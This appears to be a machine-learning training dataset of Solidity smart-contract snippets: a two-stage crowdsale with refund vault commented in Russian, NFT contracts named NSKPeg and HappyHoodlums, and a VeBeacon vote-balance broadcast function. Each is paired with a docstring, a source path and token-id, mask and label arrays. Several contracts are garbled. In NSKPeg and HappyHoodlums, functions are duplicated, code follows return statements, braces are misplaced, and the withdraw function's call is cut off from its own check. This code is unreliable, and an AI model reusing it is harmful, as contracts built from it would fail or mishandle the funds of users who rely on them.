firstStageEndsAt = time; // Вызываем событие FirstStageEndsAtChanged(firstStageEndsAt); } function setSecondStageStartsAt(uint time) public onlyOwner { secondStageStartsAt = time; // Вызываем событие SecondStageStartsAtChanged(secondStageStartsAt); } function setSecondStageEndsAt(uint time) public onlyOwner { secondStageEndsAt = time; // Вызываем событие SecondStageEndsAtChanged(secondStageEndsAt); } /** * Позволяет менять владельцу Cap'ы */ function setSoftCapInCents(uint value) public onlyOwner { require(value > 0); softCapFundingGoalInCents = value; // Вызываем событие SoftCapChanged(softCapFundingGoalInCents); } function setHardCapInCents(uint value) public onlyOwner { require(value > 0); hardCapFundingGoalInCents = value; // Вызываем событие HardCapChanged(hardCapFundingGoalInCents); } /** * Проверка сбора Soft Cap'а */ function isSoftCapGoalReached() public constant returns (bool) { // Проверка по текущему курсу в центах, считает от общих продаж return getWeiInCents(weiRaised) >= softCapFundingGoalInCents; } /** * Проверка сбора Hard Cap'а */ function isHardCapGoalReached() public constant returns (bool) { // Проверка по текущему курсу в центах, считает от общих продаж return getWeiInCents(weiRaised) >= hardCapFundingGoalInCents; } /** * Возвращает кол-во нераспроданных токенов, которые можно продать, в зависимости от стадии */ function getTokensLeftForSale(State forState) public constant returns (uint) { // Кол-во токенов, которое адрес контракта можеть снять у owner'а и есть кол-во оставшихся токенов, из этой суммы нужно вычесть кол-во которое не участвует в продаже uint tokenBalance = token.balanceOf(address(this)); uint tokensReserve = 0; if (forState == State.SecondStageFunding) tokensReserve = secondStageReserve.mul(10 ** token.decimals()); if (tokenBalance <= tokensReserve){ return 0; } return tokenBalance.sub(tokensReserve); } /** * Получаем стейт * * Не пишем в переменную, чтобы не было возможности поменять извне, только вызов функции может отразить текущее состояние * См. граф состояний */ function getState() public constant returns (State) { // Контракт выполнен if (isSuccessOver) return State.Success; // Контракт находится в режиме возврата if (isRefundingEnabled) return State.Refunding; // Контракт еще не начал действовать if (block.timestamp < firstStageStartsAt) return State.PreFunding; //Если первая стадия - не финализирована if (!isFirstStageFinalized){ // Флаг того, что текущая дата находится в интервале первой стадии bool isFirstStageTime = block.timestamp >= firstStageStartsAt && block.timestamp <= firstStageEndsAt; // Если идет первая стадия if (isFirstStageTime) return State.FirstStageFunding; // Иначе первый этап - закончен else return State.FirstStageEnd; } else { // Если первая стадия финализирована и текущее время блок чейна меньше начала второй стадии, то это означает, что первая стадия - окончена if(block.timestamp < secondStageStartsAt)return State.FirstStageEnd; // Флаг того, что текущая дата находится в интервале второй стадии bool isSecondStageTime = block.timestamp >= secondStageStartsAt && block.timestamp <= secondStageEndsAt; // Первая стадия финализирована, вторая - финализирована if (isSecondStageFinalized){ // Если набрали Soft Cap при условии финализации второй сдадии - это успешное закрытие продаж if (isSoftCapGoalReached())return State.Success; // Собрать Soft Cap не удалось, текущее состояние - провал else return State.Failure; }else{ // Вторая стадия - не финализирована if (isSecondStageTime)return State.SecondStageFunding; // Вторая стадия - закончилась else return State.SecondStageEnd; } } } /** * Модификаторы */ /** Только, если текущее состояние соответсвует состоянию */ modifier inState(State state) { require(getState() == state); _; } /** Только, если текущее состояние - продажи: первая или вторая стадия */ modifier inFirstOrSecondFundingState() { State curState = getState(); require(curState == State.FirstStageFunding || curState == State.SecondStageFunding); _; } /** Только, если не достигнут Hard Cap */ modifier notHardCapReached(){ require(!isHardCapGoalReached()); _; } /** Только, если текущее состояние - продажи первой стадии или первая стадия закончилась */ modifier isFirstStageFundingOrEnd() { State curState = getState(); require(curState == State.FirstStageFunding || curState == State.FirstStageEnd); _; } /** Только, если контракт не финализирован */ modifier isNotSuccessOver() { require(!isSuccessOver); _; } /** Только, если идет вторая стадия или вторая стадия завершилась */ modifier isSecondStageFundingOrEnd() { State curState = getState(); require(curState == State.SecondStageFunding || curState == State.SecondStageEnd); _; } /** Только, если еще не включен режим возврата и продажи не завершены успехом */ modifier canEnableRefunds(){ require(!isRefundingEnabled && getState() != State.Success); _; } /** Только, если продажи не завершены успехом */ modifier canSetDestinationMultisigWallet(){ require(getState() != State.Success); _; } } /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * Шаблон класса хранилища средств, которое используется в контракте продаж * Поддерживает возврат средств, а такте перевод средств на кошелек, в случае успешного проведения продаж */ contract FundsVault is Ownable, ValidationUtil { using SafeMath for uint; using Math for uint; enum State {Active, Refunding, Closed} mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * Указываем на какой кошелек будут потом переведены собранные средства, в случае, если будет вызвана функция close() * Поддерживает возврат средств, а такте перевод средств на кошелек, в случае успешного проведения продаж */ function FundsVault(address _wallet) { requireNotEmptyAddress(_wallet); wallet = _wallet; state = State.Active; } /** * Положить депозит в хранилище */ function deposit(address investor) public payable onlyOwner inState(State.Active) { deposited[investor] = deposited[investor].add(msg.value); } /** * Перевод собранных средств на указанный кошелек */ function close() public onlyOwner inState(State.Active) { state = State.Closed; Closed(); wallet.transfer(this.balance); } /** * Установливаем кошелек */ function setWallet(address newWalletAddress) public onlyOwner inState(State.Active) { wallet = newWalletAddress; } /** * Установить режим возврата денег */ function enableRefunds() public onlyOwner inState(State.Active) { state = State.Refunding; RefundsEnabled(); } /** * Функция возврата средств */ function refund(address investor, uint weiAmount) public onlyOwner inState(State.Refunding){ uint256 depositedValue = weiAmount.min256(deposited[investor]); deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } /** Только, если текущее состояние соответсвует состоянию */ modifier inState(State _state) { require(state == _state); _; } } /** * Контракт продажи * Возврат средств поддержмвается только тем, кто купил токены через функцию internalInvest * Таким образом, если инвесторы будут обмениваться токенами, то вернуть можно будет только тем, у кого в контракте продаж * такая же сумма токенов, как и в контракте токена, в противном случае переведенный эфир остается навсегда в системе и не может быть выведен */ contract RefundableAllocatedCappedCrowdsale is AllocatedCappedCrowdsale { /** * Хранилище, куда будут собираться средства, делается для того, чтобы гарантировать возвраты */ FundsVault public fundsVault; /** Мапа адрес инвестора - был ли совершен возврат среств */ mapping (address => bool) public refundedInvestors; function RefundableAllocatedCappedCrowdsale(uint _currentEtherRateInCents, address _token, address _destinationMultisigWallet, uint _firstStageStartsAt, uint _firstStageEndsAt, uint _secondStageStartsAt, uint _secondStageEndsAt, address _advisorsAccount, address _marketingAccount, address _supportAccount, address _teamAccount, uint _teamTokensIssueDate) AllocatedCappedCrowdsale(_currentEtherRateInCents, _token, _destinationMultisigWallet, _firstStageStartsAt, _firstStageEndsAt, _secondStageStartsAt, _secondStageEndsAt, _advisorsAccount, _marketingAccount, _supportAccount, _teamAccount, _teamTokensIssueDate) { // Создаем от контракта продаж новое хранилище, доступ к нему имеет только контракт продаж // При успешном завершении продаж, все собранные средства поступят на _destinationMultisigWallet // В противном случае могут быть переведены обратно инвесторам fundsVault = new FundsVault(_destinationMultisigWallet); } /** Устанавливаем новый кошелек для финального перевода */ function internalSetDestinationMultisigWallet(address destinationAddress) internal{ fundsVault.setWallet(destinationAddress); super.internalSetDestinationMultisigWallet(destinationAddress); } /** Финализация второго этапа */ function internalSuccessOver() internal { // Успешно закрываем хранилище средств и переводим эфир на указанный кошелек fundsVault.close(); super.internalSuccessOver(); } /** Переопределение функции принятия допозита на счет, в данном случае, идти будет через vault */ function internalDeposit(address receiver, uint weiAmount) internal{ // Шлем на кошелёк эфир fundsVault.deposit.value(weiAmount)(msg.sender); } /** Переопределение функции включения состояния возврата */ function internalEnableRefunds() internal{ super.internalEnableRefunds(); fundsVault.enableRefunds(); } /** Переопределение функции возврата, возврат можно сделать только раз */ function internalRefund(address receiver, uint weiAmount) internal{ // Делаем возврат // Поддерживаем только 1 возврат if (refundedInvestors[receiver]) revert(); fundsVault.refund(receiver, weiAmount); refundedInvestors[receiver] = true; } }
* Низкоуровневая функция для действий, в случае успеха/ Переопределяется в наследниках
function internalSuccessOver() internal { }
13,009,124
[ 1, 145, 256, 145, 121, 145, 120, 145, 123, 145, 127, 146, 230, 146, 227, 145, 127, 145, 115, 145, 126, 145, 118, 145, 115, 145, 113, 146, 242, 225, 146, 231, 146, 230, 145, 126, 145, 123, 146, 233, 145, 121, 146, 242, 225, 145, 117, 145, 124, 146, 242, 225, 145, 117, 145, 118, 145, 122, 146, 228, 146, 229, 145, 115, 145, 121, 145, 122, 16, 225, 145, 115, 225, 146, 228, 145, 124, 146, 230, 146, 234, 145, 113, 145, 118, 225, 146, 230, 146, 228, 145, 128, 145, 118, 146, 232, 145, 113, 19, 225, 145, 258, 145, 118, 146, 227, 145, 118, 145, 127, 145, 128, 146, 227, 145, 118, 145, 117, 145, 118, 145, 124, 146, 242, 145, 118, 146, 229, 146, 228, 146, 242, 225, 145, 115, 225, 145, 126, 145, 113, 146, 228, 145, 124, 145, 118, 145, 117, 145, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 2713, 4510, 4851, 1435, 2713, 288, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xBc6c06f471714Bd6e975613301ffCc30F4a13c59/sources/NSKPeg.sol
NSK ERC-721トークンのアドレス
contract NSKPeg is ERC721Enumerable, Ownable { address public neostackeyAddress; uint256 internal _currentIndex; constructor(address _neostackeyAddress) ERC721("NSK_PEG", "NSKP") { neostackeyAddress = _neostackeyAddress; } mapping(uint256 => address) private _tokenOwners; uint256 private _totalSupply; function transferFrom(address, address, uint256) public pure override(ERC721, IERC721) { revert("Transfers and approves are disabled"); } function safeTransferFrom(address, address, uint256) public pure override(ERC721, IERC721) { revert("Transfers and approves are disabled"); } function approve(address, uint256) public pure override(ERC721, IERC721) { revert("Transfers and approves are disabled"); } function setApprovalForAll(address operator, bool approved) public override(ERC721, IERC721) { revert("Transfers and approves are disabled"); } function ownerOf(uint256 tokenId) public view override(ERC721, IERC721) returns (address) { if (tokenId == 0) { return address(0); address neostackeyOwner = ERC721BASE(neostackeyAddress).ownerOf(tokenId); return neostackeyOwner; } } function ownerOf(uint256 tokenId) public view override(ERC721, IERC721) returns (address) { if (tokenId == 0) { return address(0); address neostackeyOwner = ERC721BASE(neostackeyAddress).ownerOf(tokenId); return neostackeyOwner; } } } else { function balanceOf( address owner ) public view virtual override(ERC721, IERC721) returns (uint256) { require( owner != address(0), "ERC721Psi: balance query for the zero address" ); uint256 count; for (uint256 i = 1; i < totalSupply()+1; ++i) { if (owner == ownerOf(i)) { ++count; } } return count; } function balanceOf( address owner ) public view virtual override(ERC721, IERC721) returns (uint256) { require( owner != address(0), "ERC721Psi: balance query for the zero address" ); uint256 count; for (uint256 i = 1; i < totalSupply()+1; ++i) { if (owner == ownerOf(i)) { ++count; } } return count; } function balanceOf( address owner ) public view virtual override(ERC721, IERC721) returns (uint256) { require( owner != address(0), "ERC721Psi: balance query for the zero address" ); uint256 count; for (uint256 i = 1; i < totalSupply()+1; ++i) { if (owner == ownerOf(i)) { ++count; } } return count; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory){ if (_tokenId == 0) { return ERC721BASE(neostackeyAddress).tokenURI(1); return ERC721BASE(neostackeyAddress).tokenURI(_tokenId); } } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory){ if (_tokenId == 0) { return ERC721BASE(neostackeyAddress).tokenURI(1); return ERC721BASE(neostackeyAddress).tokenURI(_tokenId); } } } else { function totalSupply() public view override returns (uint256) { return ERC721BASE(neostackeyAddress).totalSupply(); } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < totalSupply(), "ERC721: global index out of bounds"); return index; } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < balanceOf(owner), "ERC721: owner index out of bounds"); uint256[] memory tokenIds = ERC721BASE(neostackeyAddress).walletOfOwner(owner); return tokenIds[index]; } function airDropMint(uint256 quantity) external virtual onlyOwner { require(quantity > 0, "ERC721SetDrop: quantity must be greater 0"); require( _currentIndex + quantity <= totalSupply(), "ERC721: global index out of bounds"); uint256 nextTokenId = _currentIndex; for(uint256 tokenId=nextTokenId; tokenId < nextTokenId + quantity; tokenId++){ emit Transfer(address(0), ownerOf(tokenId), tokenId); } _currentIndex += quantity - 1; } function airDropMint(uint256 quantity) external virtual onlyOwner { require(quantity > 0, "ERC721SetDrop: quantity must be greater 0"); require( _currentIndex + quantity <= totalSupply(), "ERC721: global index out of bounds"); uint256 nextTokenId = _currentIndex; for(uint256 tokenId=nextTokenId; tokenId < nextTokenId + quantity; tokenId++){ emit Transfer(address(0), ownerOf(tokenId), tokenId); } _currentIndex += quantity - 1; } }
9,416,319
[ 1, 3156, 47, 4232, 39, 17, 27, 5340, 164, 230, 235, 164, 230, 125, 164, 229, 112, 164, 230, 116, 164, 228, 111, 164, 229, 100, 164, 230, 236, 164, 230, 110, 164, 229, 122, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 423, 11129, 52, 1332, 353, 4232, 39, 27, 5340, 3572, 25121, 16, 14223, 6914, 288, 203, 565, 1758, 1071, 1073, 669, 484, 402, 1887, 31, 203, 565, 2254, 5034, 2713, 389, 2972, 1016, 31, 203, 565, 3885, 12, 2867, 389, 4644, 669, 484, 402, 1887, 13, 4232, 39, 27, 5340, 2932, 3156, 47, 67, 16533, 3113, 315, 3156, 47, 52, 7923, 288, 203, 3639, 1073, 669, 484, 402, 1887, 273, 389, 4644, 669, 484, 402, 1887, 31, 203, 565, 289, 203, 203, 203, 203, 565, 2874, 12, 11890, 5034, 516, 1758, 13, 3238, 389, 2316, 5460, 414, 31, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 445, 7412, 1265, 12, 2867, 16, 1758, 16, 2254, 5034, 13, 1071, 16618, 3849, 12, 654, 39, 27, 5340, 16, 467, 654, 39, 27, 5340, 13, 288, 203, 3639, 15226, 2932, 1429, 18881, 471, 6617, 3324, 854, 5673, 8863, 203, 565, 289, 203, 203, 565, 445, 4183, 5912, 1265, 12, 2867, 16, 1758, 16, 2254, 5034, 13, 1071, 16618, 3849, 12, 654, 39, 27, 5340, 16, 467, 654, 39, 27, 5340, 13, 288, 203, 3639, 15226, 2932, 1429, 18881, 471, 6617, 3324, 854, 5673, 8863, 203, 565, 289, 203, 203, 565, 445, 6617, 537, 12, 2867, 16, 2254, 5034, 13, 1071, 16618, 3849, 12, 654, 39, 27, 5340, 16, 467, 654, 39, 27, 5340, 13, 288, 203, 3639, 15226, 2932, 1429, 18881, 471, 6617, 3324, 854, 5673, 8863, 203, 565, 289, 203, 203, 565, 445, 444, 23461, 1290, 1595, 12, 2867, 3726, 16, 2 ]
./partial_match/1/0x63c907a1f0fB275AF09bBc609B6bD1Ad8AE8f590/sources/HappyHoodlums.sol
File: contracts/LowGas.sol Amended by HashLips*/
contract HappyHoodlums is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.001 ether; uint256 public maxSupply = 8888; uint256 public maxMintAmountPerTx = 5; bool public paused = true; bool public revealed = false; function _afterTokenTransfer( address from, address to, uint256 firstTokenId, uint256 batchSize } !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. The developer will not be responsible or liable for all loss or damage whatsoever caused by you participating in any way in the experimental code, whether putting money into the contract or using the code for your own project. pragma solidity >=0.7.0 <0.9.0; constructor() ERC721("HAPPY HOODLUMS", "HH") { } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { require(os); } (bool os, ) = payable(owner()).call{value: address(this).balance}(""); function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
9,394,660
[ 1, 812, 30, 20092, 19, 10520, 27998, 18, 18281, 3986, 3934, 635, 2474, 48, 7146, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 670, 438, 2074, 44, 4773, 80, 379, 87, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 288, 203, 225, 1450, 8139, 364, 2254, 5034, 31, 203, 225, 1450, 9354, 87, 364, 9354, 87, 18, 4789, 31, 203, 203, 225, 9354, 87, 18, 4789, 3238, 14467, 31, 203, 203, 225, 533, 1071, 2003, 2244, 273, 1408, 31, 203, 225, 533, 1071, 2003, 5791, 273, 3552, 1977, 14432, 203, 225, 533, 1071, 5949, 2277, 3006, 31, 203, 21281, 225, 2254, 5034, 1071, 6991, 273, 374, 18, 11664, 225, 2437, 31, 203, 225, 2254, 5034, 1071, 943, 3088, 1283, 273, 1725, 5482, 28, 31, 203, 225, 2254, 5034, 1071, 943, 49, 474, 6275, 2173, 4188, 273, 1381, 31, 203, 203, 225, 1426, 1071, 17781, 273, 638, 31, 203, 225, 1426, 1071, 283, 537, 18931, 273, 629, 31, 203, 203, 565, 445, 389, 5205, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1122, 1345, 548, 16, 203, 3639, 2254, 5034, 16494, 203, 97, 203, 203, 203, 203, 203, 565, 401, 1669, 830, 69, 4417, 5, 203, 203, 565, 8646, 20092, 1240, 2118, 1399, 358, 752, 268, 22378, 87, 16, 203, 565, 471, 1703, 2522, 364, 326, 13115, 358, 6489, 497, 16951, 203, 565, 3661, 358, 752, 13706, 20092, 603, 326, 16766, 18, 203, 565, 9582, 10725, 333, 981, 603, 3433, 4953, 1865, 1450, 1281, 434, 203, 565, 326, 3751, 981, 364, 12449, 18, 203, 565, 1021, 8751, 903, 486, 506, 14549, 578, 328, 2214, 364, 777, 8324, 578, 2 ]
./full_match/1/0x892b62134F51034CB256A040ca15769Ab26Af2E0/sources/src/VeBeacon.sol
get user voting escrow data get global data fetch slope changes in the range [currentEpochStartTimestamp + 1 weeks, currentEpochStartTimestamp + (SLOPE_CHANGES_LENGTH + 1) * 1 weeks]
function _broadcastVeBalance(address user, uint256 chainId, uint256 gasLimit, uint256 maxFeePerGas) internal virtual { bytes memory data; { uint256 epoch = votingEscrow.user_point_epoch(user); if (epoch == 0) revert VeBeacon__UserNotInitialized(); (int128 userBias, int128 userSlope, uint256 userTs,) = votingEscrow.user_point_history(user, epoch); epoch = votingEscrow.epoch(); (int128 globalBias, int128 globalSlope, uint256 globalTs,) = votingEscrow.point_history(epoch); uint256 currentEpochStartTimestamp = (block.timestamp / (1 weeks)) * (1 weeks); SlopeChange[] memory slopeChanges = new SlopeChange[](SLOPE_CHANGES_LENGTH); for (uint256 i; i < SLOPE_CHANGES_LENGTH;) { currentEpochStartTimestamp += 1 weeks; slopeChanges[i] = SlopeChange({ ts: currentEpochStartTimestamp, change: votingEscrow.slope_changes(currentEpochStartTimestamp) }); unchecked { ++i; } } data = abi.encodeWithSelector( VeRecipient.updateVeBalance.selector, user, userBias, userSlope, userTs, globalBias, globalSlope, globalTs, slopeChanges ); } UniversalBridgeLib.sendMessage(chainId, recipientAddress, data, gasLimit, requiredValue, maxFeePerGas); emit BroadcastVeBalance(user, chainId); }
3,186,308
[ 1, 588, 729, 331, 17128, 2904, 492, 501, 336, 2552, 501, 2158, 17543, 3478, 316, 326, 1048, 306, 2972, 14638, 1685, 4921, 397, 404, 17314, 16, 783, 14638, 1685, 4921, 397, 261, 55, 1502, 1423, 67, 1792, 3388, 3991, 67, 7096, 397, 404, 13, 225, 404, 17314, 65, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
